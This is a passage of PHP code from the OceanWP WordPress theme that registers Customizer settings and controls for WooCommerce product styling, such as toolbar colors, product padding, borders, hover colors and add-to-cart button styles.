'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_grid_list_hover_color', 'priority' => 10 ) ) ); /** * Grid/List Active Color */ $wp_customize->add_setting( 'ocean_toolbar_grid_list_active_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_grid_list_active_color', array( 'label' => esc_html__( 'Grid/List Active Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_grid_list_active_color', 'priority' => 10 ) ) ); /** * Select Color */ $wp_customize->add_setting( 'ocean_toolbar_select_color', array( 'default' => '#999999', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_select_color', array( 'label' => esc_html__( 'Select Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_select_color', 'priority' => 10 ) ) ); /** * Select Border Color */ $wp_customize->add_setting( 'ocean_toolbar_select_border_color', array( 'default' => '#dddddd', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_select_border_color', array( 'label' => esc_html__( 'Select Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_select_border_color', 'priority' => 10 ) ) ); /** * Number of Products Color */ $wp_customize->add_setting( 'ocean_toolbar_number_of_products_color', array( 'default' => '#555555', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_number_of_products_color', array( 'label' => esc_html__( 'Number of Products Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_number_of_products_color', 'priority' => 10 ) ) ); /** * Number of Products Inactive Color */ $wp_customize->add_setting( 'ocean_toolbar_number_of_products_inactive_color', array( 'default' => '#999999', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_number_of_products_inactive_color', array( 'label' => esc_html__( 'Number of Products Inactive Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_number_of_products_inactive_color', 'priority' => 10 ) ) ); /** * Number of Products Border Color */ $wp_customize->add_setting( 'ocean_toolbar_number_of_products_border_color', array( 'default' => '#999999', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_toolbar_number_of_products_border_color', array( 'label' => esc_html__( 'Number of Products Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_toolbar_number_of_products_border_color', 'priority' => 10 ) ) ); /** * Heading Product Entry */ $wp_customize->add_setting( 'ocean_product_entry_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_product_entry_heading', array( 'label' => esc_html__( 'Product Entry', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Product Padding */ $wp_customize->add_setting( 'ocean_product_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_tablet_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_top_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_right_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_bottom_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_left_padding', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_product_padding', array( 'label' => esc_html__( 'Padding (px)', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => array( 'desktop_top' => 'ocean_product_top_padding', 'desktop_right' => 'ocean_product_right_padding', 'desktop_bottom' => 'ocean_product_bottom_padding', 'desktop_left' => 'ocean_product_left_padding', 'tablet_top' => 'ocean_product_tablet_top_padding', 'tablet_right' => 'ocean_product_tablet_right_padding', 'tablet_bottom' => 'ocean_product_tablet_bottom_padding', 'tablet_left' => 'ocean_product_tablet_left_padding', 'mobile_top' => 'ocean_product_mobile_top_padding', 'mobile_right' => 'ocean_product_mobile_right_padding', 'mobile_bottom' => 'ocean_product_mobile_bottom_padding', 'mobile_left' => 'ocean_product_mobile_left_padding', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Product Image Margin */ $wp_customize->add_setting( 'ocean_product_image_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_image_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_image_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_image_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_image_tablet_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_image_tablet_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_image_tablet_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_image_tablet_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_image_mobile_top_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_image_mobile_right_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_image_mobile_bottom_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_image_mobile_left_margin', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_product_image_margin', array( 'label' => esc_html__( 'Image Margin (px)', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => array( 'desktop_top' => 'ocean_product_image_top_margin', 'desktop_right' => 'ocean_product_image_right_margin', 'desktop_bottom' => 'ocean_product_image_bottom_margin', 'desktop_left' => 'ocean_product_image_left_margin', 'tablet_top' => 'ocean_product_image_tablet_top_margin', 'tablet_right' => 'ocean_product_image_tablet_right_margin', 'tablet_bottom' => 'ocean_product_image_tablet_bottom_margin', 'tablet_left' => 'ocean_product_image_tablet_left_margin', 'mobile_top' => 'ocean_product_image_mobile_top_margin', 'mobile_right' => 'ocean_product_image_mobile_right_margin', 'mobile_bottom' => 'ocean_product_image_mobile_bottom_margin', 'mobile_left' => 'ocean_product_image_mobile_left_margin', ), 'priority' => 10, 'input_attrs' => array( 'max' => 100, 'step' => 1, ), ) ) ); /** * Product Border Width */ $wp_customize->add_setting( 'ocean_product_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_tablet_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_top_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_right_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_bottom_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_left_border_width', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_product_border_width', array( 'label' => esc_html__( 'Border Width (px)', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => array( 'desktop_top' => 'ocean_product_top_border_width', 'desktop_right' => 'ocean_product_right_border_width', 'desktop_bottom' => 'ocean_product_bottom_border_width', 'desktop_left' => 'ocean_product_left_border_width', 'tablet_top' => 'ocean_product_tablet_top_border_width', 'tablet_right' => 'ocean_product_tablet_right_border_width', 'tablet_bottom' => 'ocean_product_tablet_bottom_border_width', 'tablet_left' => 'ocean_product_tablet_left_border_width', 'mobile_top' => 'ocean_product_mobile_top_border_width', 'mobile_right' => 'ocean_product_mobile_right_border_width', 'mobile_bottom' => 'ocean_product_mobile_bottom_border_width', 'mobile_left' => 'ocean_product_mobile_left_border_width', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 100, 'step' => 1, ), ) ) ); /** * Product Border Radius */ $wp_customize->add_setting( 'ocean_product_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number', ) ); $wp_customize->add_setting( 'ocean_product_tablet_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_tablet_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_top_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_right_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_bottom_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_setting( 'ocean_product_mobile_left_border_radius', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_number_blank', ) ); $wp_customize->add_control( new OceanWP_Customizer_Dimensions_Control( $wp_customize, 'ocean_product_border_radius', array( 'label' => esc_html__( 'Border Radius (px)', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => array( 'desktop_top' => 'ocean_product_top_border_radius', 'desktop_right' => 'ocean_product_right_border_radius', 'desktop_bottom' => 'ocean_product_bottom_border_radius', 'desktop_left' => 'ocean_product_left_border_radius', 'tablet_top' => 'ocean_product_tablet_top_border_radius', 'tablet_right' => 'ocean_product_tablet_right_border_radius', 'tablet_bottom' => 'ocean_product_tablet_bottom_border_radius', 'tablet_left' => 'ocean_product_tablet_left_border_radius', 'mobile_top' => 'ocean_product_mobile_top_border_radius', 'mobile_right' => 'ocean_product_mobile_right_border_radius', 'mobile_bottom' => 'ocean_product_mobile_bottom_border_radius', 'mobile_left' => 'ocean_product_mobile_left_border_radius', ), 'priority' => 10, 'input_attrs' => array( 'min' => 0, 'max' => 200, 'step' => 1, ), ) ) ); /** * Background Color */ $wp_customize->add_setting( 'ocean_product_background_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_background_color', array( 'label' => esc_html__( 'Background Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_background_color', 'priority' => 10 ) ) ); /** * Border Color */ $wp_customize->add_setting( 'ocean_product_border_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_border_color', array( 'label' => esc_html__( 'Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_border_color', 'priority' => 10 ) ) ); /** * Category Color */ $wp_customize->add_setting( 'ocean_category_color', array( 'default' => '#999999', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_category_color', array( 'label' => esc_html__( 'Category Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_category_color', 'priority' => 10 ) ) ); /** * Category Color Hover */ $wp_customize->add_setting( 'ocean_category_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_category_color_hover', array( 'label' => esc_html__( 'Category Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_category_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Title Color */ $wp_customize->add_setting( 'ocean_product_title_color', array( 'default' => '#333333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_title_color', array( 'label' => esc_html__( 'Title Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_title_color', 'priority' => 10, ) ) ); /** * Product Entry Title Color Hover */ $wp_customize->add_setting( 'ocean_product_title_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_title_color_hover', array( 'label' => esc_html__( 'Title Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_title_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Price Color */ $wp_customize->add_setting( 'ocean_product_entry_price_color', array( 'default' => '#57bf6d', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_price_color', array( 'label' => esc_html__( 'Price Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_price_color', 'priority' => 10, ) ) ); /** * Product Entry Del Price Color */ $wp_customize->add_setting( 'ocean_product_entry_del_price_color', array( 'default' => '#666666', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_del_price_color', array( 'label' => esc_html__( 'Del Price Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_del_price_color', 'priority' => 10, ) ) ); /** * Product Entry Conditional Notice Color */ $wp_customize->add_setting( 'ocean_product_entry_cond_note_color', array( 'default' => '#333', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_cond_note_color', array( 'label' => esc_html__( 'Conditional Notice: Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_cond_note_color', 'priority' => 10, ) ) ); /** * Product Entry Conditional Notice Hover Color */ $wp_customize->add_setting( 'ocean_product_entry_cond_note_color_hover', array( 'default' => '#52a7fe', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_cond_note_color_hover', array( 'label' => esc_html__( 'Conditional Notice: Hover Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_cond_note_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Hover Thumbnails Border Color */ $wp_customize->add_setting( 'ocean_product_entry_hover_thumbnails_border_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_thumbnails_border_color', array( 'label' => esc_html__( 'Hover: Thumbnails Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_thumbnails_border_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Product Entry Hover Quick View Background */ $wp_customize->add_setting( 'ocean_product_entry_hover_quickview_background', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_quickview_background', array( 'label' => esc_html__( 'Hover: Quick View Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_quickview_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Product Entry Hover Quick View Hover Background */ $wp_customize->add_setting( 'ocean_product_entry_hover_quickview_hover_background', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_quickview_hover_background', array( 'label' => esc_html__( 'Hover: Quick View Hover Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_quickview_hover_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Product Entry Hover Quick View Color */ $wp_customize->add_setting( 'ocean_product_entry_hover_quickview_color', array( 'default' => '#444444', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_quickview_color', array( 'label' => esc_html__( 'Hover: Quick View Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_quickview_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Product Entry Hover Quick View Hover Color */ $wp_customize->add_setting( 'ocean_product_entry_hover_quickview_hover_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_quickview_hover_color', array( 'label' => esc_html__( 'Hover: Quick View Hover Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_quickview_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Product Entry Hover Wishlist Background */ $wp_customize->add_setting( 'ocean_product_entry_hover_wishlist_background', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_wishlist_background', array( 'label' => esc_html__( 'Hover: Wishlist Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_wishlist_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Product Entry Hover Wishlist Hover Background */ $wp_customize->add_setting( 'ocean_product_entry_hover_wishlist_hover_background', array( 'default' => '#ffffff', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_wishlist_hover_background', array( 'label' => esc_html__( 'Hover: Wishlist Hover Background', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_wishlist_hover_background', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Product Entry Hover Wishlist Color */ $wp_customize->add_setting( 'ocean_product_entry_hover_wishlist_color', array( 'default' => '#444444', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_wishlist_color', array( 'label' => esc_html__( 'Hover: Wishlist Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_wishlist_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Product Entry Hover Wishlist Hover Color */ $wp_customize->add_setting( 'ocean_product_entry_hover_wishlist_hover_color', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_hover_wishlist_hover_color', array( 'label' => esc_html__( 'Hover: Wishlist Hover Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_hover_wishlist_hover_color', 'priority' => 10, 'active_callback' => 'oceanwp_cac_has_woo_hover_products_style', ) ) ); /** * Heading Product Entry Add To Cart */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_heading', array( 'sanitize_callback' => 'wp_kses', ) ); $wp_customize->add_control( new OceanWP_Customizer_Heading_Control( $wp_customize, 'ocean_product_entry_addtocart_heading', array( 'label' => esc_html__( 'Product Entry: Add To Cart', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Background Color */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_bg_color', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_addtocart_bg_color', array( 'label' => esc_html__( 'Add To Cart Background Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_bg_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Background Color Hover */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_bg_color_hover', array( 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_addtocart_bg_color_hover', array( 'label' => esc_html__( 'Add To Cart Background Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_bg_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Color */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_color', array( 'default' => '#848494', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_addtocart_color', array( 'label' => esc_html__( 'Add To Cart Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Color Hover */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_addtocart_color_hover', array( 'label' => esc_html__( 'Add To Cart Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Color */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_border_color', array( 'default' => '#e4e4e4', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_addtocart_border_color', array( 'label' => esc_html__( 'Add To Cart Border Color', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_border_color', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Color Hover */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_border_color_hover', array( 'default' => '#13aff0', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_color', ) ); $wp_customize->add_control( new OceanWP_Customizer_Color_Control( $wp_customize, 'ocean_product_entry_addtocart_border_color_hover', array( 'label' => esc_html__( 'Add To Cart Border Color: Hover', 'oceanwp' ), 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_border_color_hover', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Style */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_border_style', array( 'default' => 'double', 'transport' => 'postMessage', 'sanitize_callback' => 'oceanwp_sanitize_select', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_product_entry_addtocart_border_style', array( 'label' => esc_html__( 'Add To Cart Border: Style', 'oceanwp' ), 'type' => 'select', 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_border_style', 'priority' => 10, 'choices' => array( 'none' => esc_html__( 'None', 'oceanwp' ), 'solid' => esc_html__( 'Solid', 'oceanwp' ), 'double' => esc_html__( 'Double', 'oceanwp' ), 'dashed' => esc_html__( 'Dashed', 'oceanwp' ), 'dotted' => esc_html__( 'Dotted', 'oceanwp' ), ), ) ) ); /** * Product Entry Add To Cart Border Size */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_border_size', array( 'transport' => 'postMessage', 'sanitize_callback' => 'wp_kses_post', ) ); $wp_customize->add_control( new WP_Customize_Control( $wp_customize, 'ocean_product_entry_addtocart_border_size', array( 'label' => esc_html__( 'Add To Cart Border: Size', 'oceanwp' ), 'description' => esc_html__( 'Add a custom border size. px - em - %.', 'oceanwp' ), 'type' => 'text', 'section' => 'ocean_woocommerce_styling', 'settings' => 'ocean_product_entry_addtocart_border_size', 'priority' => 10, ) ) ); /** * Product Entry Add To Cart Border Radius */ $wp_customize->add_setting( 'ocean_product_entry_addtocart_border_radius', array( 'transport' => 'postMessage', 